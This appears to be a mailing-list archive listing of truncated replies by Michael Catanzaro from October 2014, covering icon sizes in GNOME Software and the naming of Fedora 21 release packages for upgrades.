On Wed, 2014-10-01 at 08:19 -0500, Michael Catanzaro wrote: I think the software center and shell display icons at the same size, so it matters equally to both. I would be smarter if I checked such facts BEFORE sending emails and not immediately AFTER. The icons in Software are indeed smaller

Re: How to handle upgrades to Fedora 21

2014-10-03 Thread Michael Catanzaro
On Fri, 2014-10-03 at 17:06 -0400, Owen Taylor wrote: standard: choose this if none of the above apply; in particular choose this if you are using an alternate-desktop spin of Fedora I'd add a comma right after in particular. Feedback from this wide audience appreciated. Would you know

Re: How to handle upgrades to Fedora 21

2014-10-04 Thread Michael Catanzaro
On Fri, 2014-10-03 at 19:37 -0400, Ray Strode wrote: I'm not sure it's worth repainting the bikeshed at this point, but during the alluded-to discussion a few alternative names came up that would have been better than fedora-release-standard: 1) fedora-release-nonstandard That this was the

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